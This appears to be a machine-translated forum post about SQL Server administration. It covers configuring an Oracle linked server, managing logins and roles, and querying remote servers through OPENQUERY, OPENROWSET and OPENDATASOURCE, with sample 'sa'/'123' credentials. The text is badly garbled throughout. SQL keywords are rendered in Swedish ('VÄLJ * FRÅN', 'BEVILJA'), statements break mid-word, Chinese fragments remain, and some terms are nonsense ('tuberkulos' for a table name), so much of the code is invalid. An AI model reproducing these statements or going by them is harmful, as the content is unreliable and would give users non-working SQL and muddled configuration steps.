(DEscrip{filter}tION=.)


(ADDRESS_LIST =


(ADRESS = (PROTOKOLL = TCP)(VÄRD = 192.168.0.11)(PORT= 1521))


)


(CONNECT_DATA =


(SERVICE_NAME = orcl)


)


)


3)
Kör följande kommando i DOS-läge för att bekräfta att ORACLE-klienten är korrekt installerad.


sqlplus user/password@ORCL


4)
Öppna Start - Kontrollpanel - Tjänster och bekräfta att tjänsten Distributed Transaction Coordinator har startats.



5) Öppna SQL SERVER Management Studio, Instansnamn (ORCL) - Serverobjekt (högerklick) - Ny anslutningsserver.


1.      


Linkserver: Skriv namnet på den länkade servern, såsom OracleTest


2.         
Servertyp, välj en annan datakälla


3. Åtkomstgränssnitt:
Välj Oracle Provider för OLE DB


4. Produktnamn: Skriv Oracle


5. Datakälla: Skriv upp

Tjänstenamnet konfigurerat i tnsnames.ora-filen, såsom ORCL


6.         
Åtkomstgränssnittssträng: userid=sys som sysdba; lösenord=lösenord


7.         
På sidan Välj säkerhetsalternativ, använd denna installationskontext för att etablera en anslutning:


a) Fjärrinloggning: användare (annan användare, inte system)


b)      

    Använd lösenord: lösenord


8. Ställ in "NT AUTHORITY\SYSTEM" på den lokala inloggningen, fjärranvändarsystemet och sätt lösenordet


9.

         Är du säker


6) Det finns två sätt att skriva SQL på


a) Användning av T-SQL-syntax:


           VÄLJ * FRÅN

OraTest.ERP.BAS_ITEM_CLASS


           Observera att när du matar in SQL-satser i SQL Query Analyzer, var uppmärksam på den kinesiska fullbredds- och halvbreddsväxlingen

Way!


b) Använd PLSQL-syntax:
           VÄLJ * FRÅN openquery(OraTest,'SELECT * FROM

OraTest.ERP.BAS_ITEM_CLASS ')


           c) Den andra åtkomstmetoden är cirka 50 % snabbare än den första; Den andra åtkomstmetoden är direkt kopplad

ORACLE är jämförbar; Metoden för första åtkomst kan leda till oväntade fel, såsom:
           Tabellen existerar inte, och inte heller den nuvarande användaren

Det finns ingen tillgång till bordet, och så vidare.


           d) Om kolumnen som behöver nås använder datatyper utan precision, är båda dessa

Detta är en bugg i ORACLE som inte kan åtgärdas och endast kan undvikas genom särskild hantering av frågesatser:


     Metadata som tillhandahålls av OLE DB-leverantören 'OraOLEDB.Oracle' för kolumnerna är inkonsekvent. Metadatainformation ändras vid exekvering.










mssql tillagd

Ta bort användaren och ge behörigheter


Använd ditt biblioteksnamn   
Gå   
--Lägg till användare   
Exec sp_addlogin 'test' – lägg till inloggning   
Exekutiv

sp_grantdbaccess N'test' – att göra den till en legitim användare av den aktuella databasen   
exec sp_addrolemember N'db_owner',

N'test' – ger alla behörigheter till sin egen databas   
--Detta skapar användare som endast kan komma åt sin egen databas och det som ingår i databasen

Publik tabell för gästanvändare   
Gå   
--Ta bort testanvändaren   
exec sp_revokedbaccess N'test' – Ta bort åtkomst till databasen

Gräns   
exec sp_droplogin N'test' – radera inloggning   
Om du skapar det i Enterprise Manager, använd:   
Enterprise Manager - Säkerhet

Sex --Högerklicka Logga--Ny inloggning   
Allmänna föremål   
--Ange användarnamnet i namnet   

--Autentiseringsmetoden väljs utifrån dina behov (om du använder Windows-autentisering måste du först skapa en ny användare bland operativsystemets användare)   

--I standardinställningarna, välj databasnamnet du vill komma åt för den nya användaren   
Serverrollobjekt   
Välj inget i det här   
databas

Åtkomstobjekt   
Kontrollera namnet på databasen du vill komma åt för användaren du skapar   
Tillåt databasrollen, kryssa i "offentlig", "db_ownew"   
Visst, det här

Användaren som skapas av provet är samma som användaren som skapats av ovanstående uttalande   



Det sista steget är att sätta specifika åtkomstbehörigheter för specifika användare, vilket kan hänvisas till följande minimala exempel:   

--Lägg till användare som endast får tillgång till den angivna tabellen:   
exec sp_addlogin 'användarnamn', 'lösenord', 'standarddatabasnamn'   

--lägg till i databasen   
exec sp_grantdbaccess 'användarnamn'   

--Tilldela hela tabellbehörigheter   
BEVILJA: VÄLJ , INFOGA, UPPDATERA, TA BORT I TABELL1 TILL [ANVÄNDARNAMN]   
--Tilldela behörigheter till specifika kolumner   
BEVILJA, VÄLJ , UPPDATERA I TABELL1(id,AA) TILL [användarnamn]   


För specifika säkerhetsinställningar och teoretisk kunskap, vänligen se SQL Online Help  







Beskrivning av fast databasroll   
  db_owner Ha fulla behörigheter i databasen.   

db_accessadmin Du kan lägga till eller ta bort användar-ID:n.   

db_securityadmin Kan hantera fullständiga behörigheter, objektägande, roller och rollmedlemskap.   

db_ddladmin kan utfärda ALLA DDL-utlåtanden, men inte BEVILJA, ÅTERKALLA eller NEKA utdrag.   

db_backupoperator kan utfärda DBCC-, CHECKPOINT- och BACKUP-uttalanden.   

db_datareader Du kan välja all data från vilken användartabell som helst i databasen.   

db_datawriter Du kan ändra all data i vilken användartabell som helst i databasen.   

db_denydatareader Du kan inte välja någon data från någon användartabell i databasen.   

db_denydatawriter Du kan inte ändra någon data i någon användartabell i databasen.  





Du borde välja db_datareader, db_datawriter, db_accessadmin




5.
Efter att SQL Server-instansen startats i enanvändarläge kan Windows-administratörskontot använda sqlcmd-verktyget för att ansluta i Windows-autentiseringsläge

SQL Server。 Du kan använda T-SQL-kommandon som "sp_addsrvrolemember" för att lägga till en befintlig inloggning till sysadmin-serverrollen

Eller skapa ett nytt inloggningskonto.
Ett exempeluttalande är följande:


EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';


KÖR


Lägg till en sysadmin-behörighet








(1) Hantera serverroller


I SQL Server finns det två huvudsakliga lagrade procedurer som implementerar SQL Server-rollhantering:


sp_addsrvrolemember

och sp_dropsrvrolemember


sp_addsrvrolemember
Du kan lägga till ett inloggningskonto till en serverroll för att göra den till medlem i den serverrollen. Syntaxen är följande:
sp_addsrvrolemember

logga in, roll


sp_dropsrvrolemember
Du kan ta bort ett inloggningskonto från en serverroll, och när medlemmen tas bort från serverrollen har den inte längre den serverrollen

Behörigheterna sattes. Syntaxen är följande:
sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'roll'


därin

@loginname är namnet på den inloggade användaren; @rolename är en serverroll.




(2) Hantera databasroller


I SQL Server stöds databashantering

Det finns sex huvudtyper av lagrade procedurer, och deras specifika betydelser och syntax är följande:


sp_addrole: Används för att skapa en ny databasroll;
sp_addrole

roll, ägare


sp_droprole: Används för att ta bort en databasroll från den nuvarande databasrollen;
sp_droprole roll


sp_helprole:

Den används för att visa all information om alla databasroller i den aktuella databasen;
sp_helprole ['roll']


sp_addrolemember: Brukade skicka till databasen

Lägg till databasanvändare i en roll, som kan vara användardefinierade standardroller eller fasta databasroller, men inte kan vara det

Ansökningsroller.
sp_addrolemember roll, security_account


sp_droprolemember: Brukade ta bort en viss karaktär

hushåll;
sp_droprolemember roll, security_account


sp_helprolemember: Används för att visa alla medlemmar i en databasroll


sp_helprolemember ['roll']






MSSQL LINKSERVER-fråga


----------------------------------------------------------------------------------
-- Författare:

htl258(Tony)
-- Datum: 2010-06-25 22:23:18
-- Version: Microsoft SQL Server 2008 (RTM) -

10.0.1600.22 (Intel X86)
-- 9 juli 2008 14:43:34
-- Upphovsrätt (c) 1988-2008 Microsoft Corporation
--

Developer Edition på Windows NT 5.1 (Build 2600: Service Pack 2)
-- Blogg : -- Ämne:
SQL-dataoperationer mellan olika serverdatabaser
----------------------------------------------------------------------------------
--1.
Skapa en länkserver
--1.1 Skapa ett länknamn
EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB', namnet på fjärrservern

eller IP-adress' --
Om du har ett eget instansnamn, lägg till "\instansnamn"
/*例如:EXEC sp_addlinkedserver

'TonyLink','','SQLOLEDB','192.168.58.208' */
--1.2
Skapa en inloggning (eller skapa en länkserver-inloggningskarta) (välj bara ett sätt)
--1.2.1
Logga in med Windows-autentisering
EXEC sp_addlinkedsrvlogin 'LinkName'
--eller EXEC sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */
--1.2.2
Logga in med SQL-autentisering
EXEC sp_addlinkedsrvlogin 'LinkName', 'false', NULL,'Användarnamn', 'Lösenord'
/*例如:EXEC

sp_addlinkedsrvlogin 'TonyLink','false', null,'sa','123' */
--2.
Länkserverrelaterade dataoperationer
--2.1 Frågeexempel
VÄLJ * FRÅN LinkName.databasnamn.schemanamn.tabellnamn
/*例如:SELECT *

FRÅN TonyLink.Mydb.dbo.tb */
--
2.2 Importexempel
VÄLJ * IN i tabellnamn FRÅN LinkName.databasnamn.schemanamn.tabellnamn
/*例如:SELECT * INTO Newtb

FRÅN TonyLink.Mydb.dbo.tb */
--
2.3 Uppdateringsexempel
UPPDATERA LinkName.Database Name.Schema Name.Table Name SET fält='värde' VAR fält='villkor'
/*例如:UPDATE

TonyLink.Mydb.dbo.tb SET Persons='g' VAR Persons='a' */
--
2.4 Borttagningsexempel
DELETE LinkName.Database Name.Schema Name.Table Name WHERE field name='condition'
/*例如:DELETE

TonyLink.Mydb.dbo.tb VAR Persons='g' */
--3 via rowset-funktionen (OPENQUERY/OPENROWSET/OPENDATASOURCE).

Metod
-
3.1 OPENQUERY-metoden (kräver hjälp av länkservern du just skapat):
--
3.1.1 Frågeexempel
SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM database name. Arkitekturens namn. bordsnamn')
/*
Till exempel: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */
--
3.1.2 Importexempel
--3.1.2.1 Importera alla kolumner
INFOGA OPENQUERY(LinkName, 'SELECT * FROM databasnamn. Arkitekturens namn. Tabellnamn

') VÄLJ * FRÅN lokal tabell
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *

FRÅN TB */
--3.1.2.2
Importera de angivna kolumnerna
INFOGA OPENQUERY(LinkName, 'SELECT * FROM databasnamn. Arkitekturens namn. tabellnamn') (kolumn, kolumn...)
SELECT-kolumnen,

Kolumn... FRÅN lokal tabell
/*
Till exempel: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons)
UTVALD

OMRÅDE, NIVÅ, Personer FRÅN tuberkulos
*/
--3.1.3
Uppdateringsexempel
UPPDATERA OPENQUERY(LinkName, 'SELECT * FROM databasnamn. Arkitekturens namn. tabellnamn') SET-fält = 'värde' WHERE-ordet

Segment = 'Villkor'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE

Persons='a' */
--3.1.4
Radera exempel
DELETE OPENQUERY(LinkName, 'SELECT * FROM databasnamn. Arkitekturens namn. tabellnamn') DÄR fältnamn='villkor'
/*例

Till exempel: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') DÄR Persons='g' */
--3.2
OPENROWSET-metoden (du behöver inte använda namnet på den skapade länken.) Om det anslutna instansnamnet inte är standard, måste du ställa in det i SQL Server-namn eller IP-adress.

"\instansnamn")
--3.2.1 Frågeexempel
--3.2.1.1
Windows-autentiseringsmetodfråga (en av följande metoder är tillräcklig)
VÄLJ * FRÅN OPENROWSET('SQLOLEDB', 'server=sql servernamn eller

IP-adress; Trusted_Connection=ja', databasens namn. Arkitekturens namn. Bordsnamn)
VÄLJ * FRÅN OPENROWSET('SQLNCLI',

'server=sql servernamn eller IP-adress; Trusted_Connection=ja', databasens namn. Arkitekturens namn. Bordsnamn)
VÄLJ * FRÅN

OPENROWSET('SQLOLEDB', 'server=sql servernamn eller IP-adress; Trusted_Connection=ja','VÄLJ * FRÅN databasen

Namn. Arkitekturens namn. bordsnamn')
VÄLJ * FRÅN OPENROWSET('SQLNCLI', 'server=sql servernamn eller IP-adress

Adress; Trusted_Connection=ja','VÄLJ * FRÅN databasens namn. Arkitekturens namn. bordsnamn')
/*
Till exempel: VÄLJ * FRÅN OPENROWSET

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja',Mydb.dbo.tb)

Eller: VÄLJ * FRÅN OPENROWSET

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja',Mydb.dbo.tb)

Eller: VÄLJ * FRÅN OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja','VÄLJ *

FRÅN Mydb.dbo.tb')

Eller: SELECT * FROM OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja','VÄLJ *

FRÅN Mydb.dbo.tb')
*/
--3.2.1.2 SQL-autentiseringsmetodfråga (En av följande metoder är tillräcklig)
VÄLJ * FRÅN OPENROWSET

('SQLOLEDB', 'server=SQL servernamn eller IP-adress; uid=användarnamn; pwd=lösenord', databasens namn. Arkitekturens namn. Bordsnamn)
VÄLJ * FRÅN

OPENROWSET('SQLNCLI', 'server=sql servernamn eller IP-adress; uid=användarnamn; pwd=lösenord', databasens namn. Arkitekturens namn. Bordsnamn)
VÄLJ * FRÅN OPENROWSET('SQLOLEDB', 'server=sql servernamn eller IP-adress; uid=användarnamn; pwd=lösenord','VÄLJ *

FROM databasnamn. Arkitekturens namn. bordsnamn')
VÄLJ * FRÅN OPENROWSET('SQLNCLI', 'server=sql servernamn eller IP-adress; uid=

Användarnamn; pwd=lösenord','VÄLJ * FRÅN databasens namn. Arkitekturens namn. bordsnamn')
SELECT * FROM OPENROWSET('SQLOLEDB', 'sql

servernamn'; 'användarnamn'; 'lösenord', databasnamn. Arkitekturens namn. Bordsnamn)
VÄLJ * FRÅN OPENROWSET('SQLNCLI', 'SQL SERVER NAME)

'; 'användarnamn'; 'lösenord', databasnamn. Arkitekturens namn. Bordsnamn)
VÄLJ * FRÅN OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; ' användare

namn'; 'Lösenord', 'VÄLJ * FRÅN databasens namn. Arkitekturens namn. bordsnamn')
SELECT * FRÅN OPENROWSET('SQLNCLI', 'sql server)

namn'; 'användarnamn'; 'Lösenord', 'VÄLJ * FRÅN databasens namn. Arkitekturens namn. bordsnamn')
/* 例如:SELECT * FROM OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Eller: VÄLJ * FRÅN OPENROWSET

('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Eller: VÄLJ * FRÅN OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','VÄLJ * FRÅN Mydb.dbo.tb')

eller: SELECT * FROM OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','VÄLJ * FRÅN

Mydb.dbo.tb')

eller: VÄLJ * FRÅN OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

eller: VÄLJ * FRÅN OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

eller: VÄLJ * FRÅN OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123','VÄLJ * FRÅN Mydb.dbo.tb')

eller: VÄLJ * FRÅN OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123','VÄLJ * FRÅN Mydb.dbo.tb')
*/
--3.2.2 Importexempel
--3.2.2.1 Importera alla kolumner
INSERT OPENROWSET('SQLOLEDB', 'server=sql servernamn eller IP-adress)

Adress; uid=användarnamn; pwd=lösenord', databasens namn. Arkitekturens namn. Bordsnamn)
VÄLJ * FRÅN lokal tabell
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
VÄLJ * FRÅN TB
*/
--3.2.2.2 Import

Specificera kolumner
INSERT OPENROWSET('SQLOLEDB', 'server=sql servernamn eller IP-adress; uid=användarnamn; pwd=lösenord', databasens namn. Rack

Konstruktionsnamn. tabellnamn) (kolumn, kolumn...)
VÄLJ kolumn, kolumn... FRÅN lokal tabell
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(RÄCKVIDD, NIVÅ, Personer)
UTVALD

OMRÅDE, NIVÅ, Personer FRÅN tuberkulos
*/
--Not: För fler alternativa metoder, se .2.1-frågeexemplet, ersätt bara funktionen OPENROWSET

Innehållet är tillräckligt.
--3.2.3 Uppdateringsexempel
UPPDATERA OPENROWSET('SQLOLEDB', 'server=sql servernamn eller IP-adress; uid=användarnamn

;p wd=lösenord', databasens namn. Arkitekturens namn. Bordsnamn)
SET-fält = 'värde'
DÄR fältet = 'villkor'
/*例如:UPDATE OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
SET Persons='g'
DÄR Persons='a'
*/
--Not: För fler alternativa metoder, se .2.1-frågeexemplet, ersätt bara innehållet i OPENROWSET.
--3.2.4 Ta bort indikationen

Exempel
DELETE OPENROWSET('SQLOLEDB', 'server=sql servernamn eller IP-adress; uid=användarnamn; pwd=lösenord', databasens namn. Schemanamn

.tabellnamn)
WHERE-fältnamn='villkor'
/*
Till exempel: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
DÄR

Persons='g'
*/
--Not:
För fler alternativa metoder, se .2.1-frågeexemplet, ersätt bara innehållet i OPENROWSET.
--3.3 OPENDATASOURCE-metoden

(Du behöver inte använda namnet på den skapade länken.) Om instansnamnet på anslutningen inte är standard, behöver du lägga till \instansnamn efter SQL-serverns namn eller IP-adress

")
--3.3.1
Frågeexempel
--3.3.1.1 Windows autentiseringsmetodfråga (En av följande metoder är tillräcklig)
VÄLJ * FRÅN OPENDATASOURCE('SQLOLEDB',

'server=sql servernamn eller IP-adress; Trusted_Connection=ja'). Databasens namn. Arkitekturens namn. Tabellnamn
VÄLJ * FRÅN

OPENDATASOURCE('SQLNCLI', 'server=sql servernamn eller IP-adress; Trusted_Connection=ja'). Databasens namn. Arkitekturens namn.

Tabellnamn
/*
Till exempel: VÄLJ * FRÅN OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja'). Mydb.dbo.tb

Eller: VÄLJ * FRÅN OPENDATASOURCE

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja'). Mydb.dbo.tb
*/
--3.3.1.2
SQL-autentiseringsmetodfråga (en av följande metoder är tillräcklig)
VÄLJ * FRÅN OPENDATASOURCE('SQLOLEDB', 'server=sql servernamn eller

IP-adress; uid=användarnamn; pwd=lösenord').
Databasens namn. Arkitekturens namn. Tabellnamn
VÄLJ * FRÅN OPENDATASOURCE('SQLNCLI', 'server=sql servernamn eller IP-adress; uid=användare

Namn; pwd=lösenord').
Databasens namn. Arkitekturens namn. Tabellnamn
VÄLJ * FRÅN OPENDATASOURCE('SQLOLEDB', 'Data Source=sql servernamn eller IP-adress

Adress; uid=användarnamn; pwd=lösenord').
Databasens namn. Arkitekturens namn. Tabellnamn
VÄLJ * FRÅN OPENDATASOURCE('SQLNCLI', 'Data Source=sql server name eller IP-adress

Adress; uid=användarnamn; pwd=lösenord').
Databasens namn. Arkitekturens namn. Tabellnamn
/* 例如:SELECT * FROM OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Eller: SELECT * FROM OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Eller: VÄLJ * FRÅN OPENDATASOURCE('SQLOLEDB','Data

Källa=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Eller: VÄLJ * FRÅN OPENDATASOURCE('SQLNCLI','Data

källa=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
*/
Importera alla kolumner
INFOGA OPENDATASOURCE('SQLOLEDB', 'server=sql servernamn eller IP-adress; uid=användarnamn; pwd=lösenord').

Enligt bibliotekets namn. Arkitekturens namn. Tabellnamn
VÄLJ * FRÅN lokal tabell
/*
Till exempel: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
UTVALD

* FRÅN TB
*/
--3.3.2.2
Importera de angivna kolumnerna
INFOGA OPENDATASOURCE('SQLOLEDB', 'server=sql servernamn eller IP-adress; uid=användarnamn; pwd=lösenord').

Enligt bibliotekets namn. Arkitekturens namn. Tabellnamn (kolumn, kolumn...)
VÄLJ kolumn, kolumn... FRÅN lokal tabell
/*
Till exempel: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

(AVSTÅND, NIVÅ, personer)
VÄLJ INTERVALL, NIVÅ, Personer FRÅN tuberkulos
*/
--Not:
För fler alternativa metoder, se .3.1-frågeexemplet, ersätt bara innehållet i linjeuppsättningsfunktionen (OPENDATASOURCE).
--3.3.3 Uppdateringsexempel
UPPDATERA OPENDATASOURCE('SQLOLEDB', 'server=sql servernamn eller IP-adress; uid=användarnamn; pwd=lösenord').
Databasens namn. Arkitekturens namn. Tabellnamn
SET-fält = 'värde'
DÄR fältet = 'villkor'
/*例如:UPDATE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
SET Persons='g'
DÄR Persons='a'
*/
--Not:
För fler alternativa metoder, se .3.1-frågeexemplet, ersätt bara innehållet i linjeuppsättningsfunktionen (OPENDATASOURCE).
--3.3.4 Borttagningsexempel
DELETE OPENDATASOURCE('SQLOLEDB', 'server=sql servernamn eller IP-adress; uid=användarnamn; pwd=lösenord').
Databasens namn. Arkitekturens namn. Tabellnamn
WHERE-fältnamn='villkor'
/*例如:DELETE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
DÄR Personer = 'g'
*/
- Notera: Fler alternativ

Se exemplet med .3.1-frågan, ersätt bara innehållet i rowset-funktionen (OPENDATASOURCE).
--
Ta bort den länkade servermetoden
--Om du inte längre använder länkinformationen i framtiden kan du ta bort länkinformationen
--4.1
Ta bort inloggningsinformation (eller ta bort länkad serverinloggningsnamnkarta)
EXEC sp_droplinkedsrvlogin 'LinkName', NULL
/*
Till exempel: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */
--4.2
Radera det länkade servernamnet
EXEC sp_dropserver 'LinkName', 'droplogins' – om droplogins är specificerade,
Inloggningskartan måste raderas innan den länkade servern tas bort
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */


--Bifogat


Hur man får tag på leverantörsnamnet (EXEC-master). xp_enum_oledb_providers)
VÄLJ ROLL([Leverantörsnamn] SOM

VARCHAR(30)) ProviderName,
CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion
FRÅN

OPENROWSET(
'SQLOLEDB',
'Server=.; Trusted_Connection=ja',
'SLÄPP IGÅNG FMTONLY;
EXEC

Mästare.. xp_enum_oledb_providers'
)




Föregående:UClouds sårbarhetshanteringsprocess och belöningsdetaljer
Nästa:Jag kan hinna hem med tåget idag, och jag har inte varit hemma på mer än ett halvår
Publicerad på 2017-09-27 17:43:11 |
Mycket detaljerat. Tack
 Hyresvärd| Publicerad på 2023-06-17 11:12:11 |
Testa SQL-injektionstestning med SQLMAP-infiltrationsverktyget
https://www.itsvse.com/thread-10611-1-1.html
Friskrivning:
All programvara, programmeringsmaterial eller artiklar som publiceras av Code Farmer Network är endast för lärande- och forskningsändamål; Ovanstående innehåll får inte användas för kommersiella eller olagliga ändamål, annars kommer användarna att bära alla konsekvenser. Informationen på denna sida kommer från internet, och upphovsrättstvister har inget med denna sida att göra. Du måste helt radera ovanstående innehåll från din dator inom 24 timmar efter nedladdning. Om du gillar programmet, vänligen stöd äkta programvara, köp registrering och få bättre äkta tjänster. Om det finns något intrång, vänligen kontakta oss via e-post.

Mail To:help@itsvse.com